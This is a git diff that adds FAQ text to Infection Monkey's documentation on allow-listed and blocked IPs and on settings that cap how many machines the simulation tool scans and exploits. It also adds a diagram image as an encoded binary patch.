network scan` button. +Additionally, the Monkey scans the network based on the **Allow IPs list** in the `Scan target list` section. All IPs that are specified in that +section Monkey will be allowed to scan and try to propagate to. +On top of this, we can add a list of IPs that Monkey will not scan at all under `Blocked IPs` section. + +#### Specify max number of victims to find/exploit + +Under `Monkey Configuration -> Internal -> Monkey` we can specify two numbers which are limiting Monkey's propagation. + +- **Max victims to find**: this number limits the number of machines that the monkey is allowed to scan. If monkey finds more +machines then what is specified it will not try to scan them. The default number is 100 machines. +- **Max victims to exploit**: this number limits the number of machines that the monkey is allowed to successfully exploit. +Setting this number too high may result in the monkey propagating to a high number of machines. The default number is 100 machines. + + ## How can I get involved with the project? Infection Monkey is an open-source project, and we welcome contributions and contributors. Check out the [contribution documentation]({{< ref "/development" >}}) for more information. diff --git a/docs/static/images/faq/propagation_depth_diagram.png b/docs/static/images/faq/propagation_depth_diagram.png new file mode 100644 index 0000000000000000000000000000000000000000..d38f8a696fe7d45d990648ae2bcacd90b31c614e GIT binary patch literal 173884 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 